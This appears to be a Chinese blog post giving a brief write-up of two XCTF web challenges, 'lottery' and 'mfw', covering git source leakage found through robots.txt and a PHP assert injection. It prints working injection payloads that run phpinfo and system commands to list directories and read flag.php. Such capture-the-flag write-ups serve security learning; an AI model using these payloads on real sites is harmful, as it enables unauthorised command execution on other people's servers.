欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

xctf部分题目-2

程序员文章站 2022-03-04 19:45:58
...

题目来源

https://adworld.xctf.org.cn/task

WEB

进阶题

lottery

xctf部分题目-2

先注册一个账户1。
xctf部分题目-2

总的来说是一个猜数游戏,通过玩这个游戏来获取$从而购买flag,但是flag金额过高,肯定是无法用这样的方法“赚到”的,于是开始寻找可以利用的点。

查看robots.txt:

User-agent: *
Disallow: /.git/

可能存在git源码泄露。使用githack获取xctf部分题目-2

进行代码审计

mfw

首先打开题目xctf部分题目-2

在about界面发现:xctf部分题目-2

访问/.git/发现存在git源码泄露xctf部分题目-2于是使用githack搞到源码。

进行代码审计,在index.php中发现漏洞

xctf部分题目-2
page变量没有经过过滤就直接使用,导致我们可以构造恶意代码闭合assert函数进行任意命令执行。

构造

1') or phpinfo(); %23

成功执行phpinfo函数。

接着分别构造并查看注释内容得到flag

1') or system('ls');%23
1') or system('cd templates;ls');%23
1') or system('cd templates;cat flag.php');%23

xctf部分题目-2

相关标签: CTF